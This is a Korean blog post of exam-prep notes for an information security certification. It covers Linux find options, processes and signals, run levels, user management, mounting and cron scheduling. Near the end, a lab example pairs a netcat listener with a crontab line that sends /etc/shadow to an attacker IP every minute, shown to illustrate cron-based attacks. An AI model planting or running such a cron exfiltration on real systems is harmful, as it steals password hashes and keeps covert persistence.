주말에 한달전부터 있던 선약이 있어, 실기강의를 하나도 못 들었다.
그래서 이번주는 평소보다 좀 더 많이 듣기로 다짐...을 해봄
---
파일검색 find
-특수권한을 가진 파일 체크, 무결성 점검 등을 위해 실무에서 많이 사용
find path [expression] [action]
옵션
-name
-type (f일반파일 d디렉터리)
-user name 또는 id
-group name 또는 id
-size
-perm mode
-atime
-ctime
-mtime
ex
find . -name "*.dat" -a -type f | head -5 (현재위치에서, 이름이 .dat로 끝나고 파일타입이 f일반파일인 것을 5개만 보여준다)
(-a는 and연산(생략가능), -o는 or연산, !는 not)
find . -type f -a -name "*.txt" -exec ls -l {} \;
-rwxrwxrwx. 2 root root 5 3월 8 16:19 ./hard_c.txt
-rwxrwxrwx. 2 root root 5 3월 8 16:19 ./aaa/a.txt
-rw-r--r--. 1 root root 0 3월 8 17:23 ./aaa/abt.txt
(-exec 옵션을 이용해서 find한 결과를 ls -l 로 {}에 담아서 출력. \n는 끝을 의미한다. {}랑 붙여쓰면 에러남!)
find -perm -4000 (setuid(4000)가 설정된 파일을 포함해서 검색)
find -perm 4000 (setuid(4000)가 설정된 파일만 검색)
find / (\ -perm -4000 -o -perm -2000 \) -type f -user root -exec ls -l {} \;
(setuid나 setgid 설정 & 소유자가 root로 설정된 일반파일(실행파일 포함)
* or연산이 들어갈때는 \괄호로 묶어주는 것이 안전하다. 특히 -exec 할때!)
(지난번에 공부한 권한, setuid 설정됨 = 4000 setgid 설정됨 = 2000 sticky Bit 설정됨 = 1000)
-exec 들어가면 빠른 논리 연산(short circuit logical operation)을 한다
or연산은 A or B에서 A가 true면 무조건 true다. B 연산을 안 한다.
and연산은 A and B에서 A가 false면 무조건 false다. 마찬가지로 후행연산을 하지 않음.
때문에, or연산을 괄호로 묶어주지 않으면 A or B C D ... 이렇게 있을때 A만 실행하고 뒤를 다 실행하지 않음.
find . -type f -mtime -10 -exec ls -la {} \;
( +n일 n일초과, -n일 미만(이내), n 정확히 n일 )
find -size 10M (10M)
find -size -10M (10M 미만)
find -size +10M (10M 초과)
find 명령어 실행하다가 의문이 들어 캡쳐해놓은 결과.
왜 4777 퍼미션이 제대로 결과가 나오지 않는걸까?
강사님께 여쭤보려고 남겨놓음.
-> ls -l은 기본적으로 디렉토리의 내부를 보는 명령어이므로,
디렉터리까지 출력되게 하려면 ls -ld 명령어를 사용해야함 ( ./aaa는 디렉터리이다. a.txt와 abt.txt는 aaa의 파일이고)
-- 5강 End
프로세스 응용
프로세스 개요
가상메모리를 할당하는데 User Area, Kernel Area로 나누어진다.
1. PCB 프로세스 제어 블럭 : 개별 프로세스별로 관리정보를 담고 있다
PCB 영역
[프로세스 상태 : CPU 스케줄링 정보. ready(cpu 할당을 못 받은 상태), running, blocked, terminated.
프로세스 번호 : pid
프로그램 카운터PC : 문맥교환이 발생할 경우 다음에 실행할 명령어(Instruction)의 위치값 저장
레지스터 : 문맥교환이 발생할 경우, 현재 프로세스의 실행 상태정보(레지스터 정보) 저장. 고속 저장장치.
메모리 정보 : 프로세스가 사용하는 메모리 page 또는 segment 테이블 정보]
* Context Switching (문맥 교환)
CPU를 차지하고 있던 프로세스가 CPU자원을 반납하고 새로운 프로세스가 CPU를 할당받는것
준비 ready -> dispatch -> running (User Mode <-> Kernel Mode) -> blocking system call (I/O 입출력 함수) -> 대기 Blocked -> wake up -> 준비 ready
Running 상태
User Mode는 사용자 코드가 동작하는 상태이고 시스템 콜이 발생하면
Kernel Mode가 되어 OS가 동작한 후 다시 User Mode가 됨
2. 디스크립터 테이블FDT
- 기본적으로 3개의 파일이 자동 오픈. 표준입력stdin 표준출력sdtout 표준에러stderr
- 프로세스내 오픈한 파일을 식별하기 위한 양의 정수값.
3. 커널 영역에서 전역적으로 관리하는 자료구조 System open-file tables
- open_mode, offset(File position), reference count(FD 복제 때문에), vnode ptr(inode 포인터)
4. Active vnode table은 i-node 정보를 가지고 있는 일종의 캐시 역할. 다양한 i-node 구조체를 받아들이기 위함.
fork() = 자식 프로세스를 생성하는 시스템 함수. pid를 반환값으로 가진다.
pid가 0이면 자식 프로세스, pid가 0보다 크면 부모 프로세스.
init 프로세스
-> run_level os 운영레벨에 따른 시스템 초기화 (초기 프로세스 기동)
-> 대리모 역할(모든 프로세스는 부모 프로세스를 가지므로, 고아Orphan 프로세스의 대리모 역할을 함)
(kill -9 ppidNum -> ppidNum 프로세스의 자식 프로세스는 PPID가 init 프로세스가 된다)
ps -f 필드의미 기억하기
UID(EUID) PID PPID C STIME TTY(터미널 타입) TIME CMD(커맨드)
root 1529 1525 0 14:26 pts/0 00:00:00 -bash
모든 자식 프로세스는 종료상태정보를 커널에 전달하고 (exit code, pid 등)
커널이 부모 프로세스에게 SIGCHLD로 종료를 알려준다.
sigchld에 대한 signal handler가 wait/waitpid를 통해 종료상태정보를 가져오고
커널이 자식 프로세스에게 종료해도 된다고 알림, 자식 프로세스가 종료됨.
프로세스가 종료했지만 관리정보가 소멸하지 않고 남아있는 상태 : 좀비상태
모든 자식 프로세스는 종료상태정보를 커널에 전달하고 (exit code, pid 등)
커널이 부모 프로세스에게 SIGCHLD로 종료를 알려준다.
sigchld에 대한 signal handler가 wait/waitpid를 통해 종료상태정보를 가져오고
커널이 자식 프로세스에게 종료해도 된다고 알림, 자식 프로세스가 종료됨.
프로세스가 종료했지만 관리정보가 소멸하지 않고 남아있는 상태 : 좀비상태
-> 시스템 가용성에 문제가 생길 수 있다
ps -l
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD
4 S 0 1529 1525 0 80 0 - 28887 do_wai pts/0 00:00:00 bash
0 R 0 14875 1529 0 80 0 - 38332 - pts/0 00:00:00 ps
1 Z 0 14876 1529 0 80 0 - 0 exit pts/0 00:00:00 a.out <defunct> <-좀비 프로세스 표시
S는 프로세스의 현재 상태를 의미한다
R : 실행중이거나 Running CPU 할당을 대기중인 Runnable/Reday
S : 인터럽트 가능한 Sleep 상태
D : 인터럽트 불가능한 Sleep 상태
T : 프로세스 정지된 상태 Stopped
Z : 좀비상태 Zombie
PRI는 프로세스의 우선순위 (낮을수록 우선순위가 높음)
NI는 프로세스 우선순위 계산용 값
WCHAN는 Sleeping 상태의 프로세스가 대기하는 커널 함수명 (어떤 커널 함수때문에 대기중인지)
kill -9 또는 kill -KILL 하여 프로세스를 종료시킬 수 있다.
ex kill -9 14876 또는 kill -KILL 14876
kullall processname
시그텀이라는 터미네이트 시키는 시그널을 발생시킴. processname에 따른 모든 프로세스 종료
실습중에.
./aa.out &
이런식으로 끝에 & 기호를 붙이면 백그라운드로 프로세스를 실행할 수 있다고 하는데,
백그라운드 실행이 되지 않았다. 내용이 echo hello 여서 그런가? 모르겠음. sleep 1000 & 는 되는데.
nohup을 붙여봐도 ps -f 에서 프로세스가 확인되지 않았다.
abc.sh의 내용은 echo hello 뭐 이런것밖에 없음. 백그라운드로 실행되어야 하는데, 커서 제어권이 없는 상태.
명령어 입력을 위해 바깥으로 나오면 ps -f 에서 확인되지 않는다.
(하고 싶었던 것은 부모프로세스를 죽여 좀비 프로세스를 만드는 실습... )
-> 백그라운드 실행 후 엔터를 치면 명령 프롬프트 제어권을 다시 가질 수 있다 이건 딱히 에러는 아니라고함
ps -f에서 확인되지 않았던 이유는... 소스코드에 sleep이 없어서 바로 꺼진 것 같다.
-- 6 END
터미널 제어권
1. 터미널 인풋 Terminal Input
2. 터미널 제너레이티드 시그널 terminal generated signal
Foreground mode : 터미널 제어권을 갖고 동작하는 모드
Background mode : 터미널 제어권 없이 동작하는 모드
Process Group : 터미널 제어권의 관리 단위.
Terminal
-> connect
-> Session 생성 (세션1 생성 세션이란? 터미널-리눅스간 논리적인 연결 상태. SID=리더프로세스인 Login Shell의 PID)
-> Login Shell 구동 (Process Group도 함께 생성. 이 때 Login Shell은 프로세스 그룹의 Leader Process 리더 프로세스가 되고 로그인 쉘의 PID가 프로세스 그룹의 PGID가 된다)
-> 로그인 쉘에 의해 a.out 프로세스 실행 (이 때, 또 다른 Process Group2가 또 생긴다. PPID는 로그인 쉘의 PID)
-> fork()로 인해 복사본 프로세스 생성(별도의 PID)되면서 exec("a.out") ( 로그인쉘에서 a.out으로 프로세스 이미지 교체(전이) )
-> a.out(부모)과 복사된 a.out(자식. ppid는 a.out(부모)의 pid)은 하나의 Process Group2으로 묶임.
실습
sleep 1000 & 실행한 후
ps -o uid,pid,ppid,pgid,sid,cmd 또는 ps -ef 실행해서 출력결과 보기 (프로세스 옵션으로 원하는 항목 보기)
UID PID PPID PGID SID CMD
1001 16087 16086 16087 16087 -bash
1001 19218 16087 19218 16087 sleep 1000
1001 19728 16087 19728 16087 ps -o uid,pid,ppid,pgid,sid,cmd
(UID = EUID Effective User ID)
프로세스간 통신(시그널)
-프로세스에게 특정상황이 발생했음을 알리기 위한 비동기적 통신(통지 asynchronous notification)
- 발생의 주체는 kenel일수도 있고, 자기자신이나 다른 프로세스일 수 있다
- 시그널 목록 확인하기 : kill -l
특정상황
- Terminal generated signal (SIGINT SIGQUIT SIGTSTP)
- Hardware적인 예외상황 (메모리 참조오류 SIGSEGU, 산술연산오류 SIGFPE)
- Software적인 예외상황 (SIGSHLD)
- kill 명령 / 시스템 콜
시그널 처리 방식
- handling
- ignore 무시
- default 아무것도 안함
관리목적의 시그널
SIGKILL (9) : 무시하거나 임의처리 불가. 종료된다.
SIGSTOP (23) : 무시하거나 임의처리 불가. 정지시키는 제어 시그널.
-- 7 END
시스템 시작과 종료
딱히 출제비중이 높진 않다고함
런 레벨Run level : 시스템 운영 상태를 숫자나 문자로 표현
런레벨 0 PROM 모드 : 시스템 부팅 전 하드웨어 체크
* init 프로세스
- pid 1번
- 시스템 운영 환경 초기화-> 초기 프로세스 기동
- 대리모 프로세스 역할
- 3번 Full multiuser mode나 5번 X11 X윈도우 모드를 자주 씀 (유닉스 5번은 시스템 Power Off모드)
- runlevel 치면 현재 runlevel 확인 가능
- init 6 이런식으로 런레벨을 지정하여 init 할 수 있음.
cd /etc/rc.d/rc5.d에서 ls해서 나오는 목록들이 초기실행스크립트.
S로 시작되는 것들만 실행함. S03 S05 ~ 이런식으로 숫자가 낮은것부터 실행.
불필요한 서비스는 mv S40snorted K40snorted 이런식으로 이름만 바꿔주면 실행하지 않게됨.
바이오스 과정 -> 부트 과정 -> 커널 과정 -> init 과정
시스템 종료
System V와 BSD계열에 따라 달라짐
하드디스크 동기화 Sync
- 입출력 효율성을 높이기 위해 버퍼를 운영
- 버퍼의 내용을 하드디스크로 옮기기 위한 명령어.
사용자관리
useradd : 사용자 계정 추가
옵션 (필기를 위해 알아두면 좋음)
-u 유저ID
-g 그룹명 또는 그룹ID : 기본그룹
-G 그룹명 또는 그룹ID : 보조그룹
-c comment : 보통 full name 설명
-s shell : 로그인쉘 지정
-d hemo_dir : 홈디렉토리 설정
-e expire_date : 계정만료일. 빈문자열은 기간없음
-f inactive : 계정비활성화일수. -1은 기간설정없음
-p password : shadow 파일에 평문으로 저장되기 때문에 passwd 명령어를 사용
usermod : 변경 ex usermod -g group1 user1 (user1의 그룹을 group1로 변경)
userdel : 삭제 ex userdel -r user1 (-r은 홈디렉터리 및 메일박스까지 전부 삭제하는 옵션)
groupadd : 그룹 추가
groupmod : 변경
groupdel : 삭제
취약점 관련해서 나중에 자주 보게되는 경로
/etc/login.defs (다양한 패스워드 정책들)
/etc/default/useradd
/etc/skel(디렉터리) : 홈 디렉터리 생성시 필요한 설정파일들
passwd -S username
-> -S로 유저정보를 볼 수 있음. (root 계정만)
로그인 불가 계정
시스템계정이나 어플리케이션 계정 등은 로그인이 불필요 (root 계정이라든지)
/etc/passwd파일에서 로그인 쉘 항목을 /sbin/nologin 또는 /bin/false로 설정
-- 8 End
파일시스템 연결mount
- disk -> 논리적인 파티션 -> 파일시스템 생성 -> 특정 디렉토리(마운트 포인트)에 연결(mount마운트)
- 시스템이 인식하도록 연결해주는 작업.
- mount 명령만 사용하면 현재 시스템에 마운트된 정보 출력
- /etc/fstab 에 mount 정보 있음
fdisk -l 현재 디스크 상태 출력
proc 메모리상에 존재하는 파일시스템
시스템 부팅이 되면 메모리상에 proc 폴더가 생성됨
커널이 파일시스템 proc로 관리함
umount 파일시스템 연결 해제
du 폴더명 : 디렉터리의 하드디스크 사용량 확인
(옵션은 os마다 다름. 리눅스는 -h 하면 사람이 보기 편하게 요약되어 보여줌)
df : 파일 시스템의 전체 공간 및 사용가능 공간에 대한 정보
옵션
-k 통계 데이터를 1024바이트 블록 단위로 출력
프로세스 정기적 스케줄 관리 cron
cron 데몬 프로세스는 정기적인 작업을 지정시간에 처리하기 위해 사용
필요한 구성요소
-작업 목록을 정리한 crontab 파일
-crontab 파일을 제어하는 contab 명령 (/etc/cron.allow, /etc/ cron.deny 파일) others 권한 전부 제거를 권장
-crontab 파일을 읽어서 작업을 처리하는 cron 데몬 프로세스
* crontab 파일의 구조
필드1 - 분 - 0-59
필드2 - 시 - 0-23
필드3 - 일 - 1-31
필드4 - 월 - 1-12
필드5 - 요일 - 0-6까지, 0이 일요일
필드6 - 작업 - 절대경로로 기술
분시일월요일작업
*는 모든 값, 0는 값의 범위, 「」는값을 구분, /는 간격값, #은 주석
예시
0 1 * * * /batch.sh : 매일 1시에 /batch.sh 실행
0 8-10 * * * /batch.sh : 매일 8-10시에 실행
*/5 * * * * /batch.sh : 매 5분 간격으로 /batch.sh 실행
해석, 작성할 수 있어야 함
crontab -l
크론탭에 등록된 작업리스트 출력
crontab -e
본인의 크론탭 작업리스트 수정 가능
crontab -u username -e
root 계정은 남의 것도 수정가능
ls -al /var/log/cron*
cron 작업 로그를 볼 수 있음
crontab 명령을 실행할 수 있는 사용자를 제한하여,
허용하지 않는 사용자가 임의의 cron 작업을 등록하지 못하도록 설정해야한다.
1. cron.allow 파일만 존재할 경우
-> cron.allow 파일에 등록된 사용자만 실행가능
2. cron.deny 파일만 존재할 경우
-> cron.deny에 명시된 사용자만 실행 불가능
3. 두 파일 모두 없을 경우
-> root 슈퍼유저만 실행 가능
4. 두 파일 모두 존재할 경우
-> cron.allow 파일을 우선하여 등록된 사용자만 실행 가능
시스템 해킹
- root 권한 탈취
- rootkit (backdoor백도어 설치)
- 악성 프로그램 설치 (주기적으로 서버로 업로드) -> cron에 악의적으로 등록될수있음
일시적 스케줄 관리 at (at 데몬)
- 정해진 시간에 한 번만 수행
실습
1. 공격자측 : nc -l -p 80
웹서버처럼 위장하여 80포트를 열고 있는 공격자 서버
2. * * * * * nc 192.0.0.0 80 < etc/shadow
etc/shadow 파일을 공격자 ip로 전송
3. 매 분마다 전송하게 되는 cron 공격
-- 9 END
'(실기) 정보보안기사&산업기사' 카테고리의 다른 글
UNIX/Linux 기본 학습 16~20 (0) | 2024.03.13 |
---|---|
UNIX/Linux 기본 학습 10~15 (0) | 2024.03.12 |
UNIX/Linux 기본 학습 2~4 (0) | 2024.03.08 |
UNIX/Linux 기본 학습 1 (0) | 2024.03.07 |
윈도우 기본학습1 (0) | 2024.03.07 |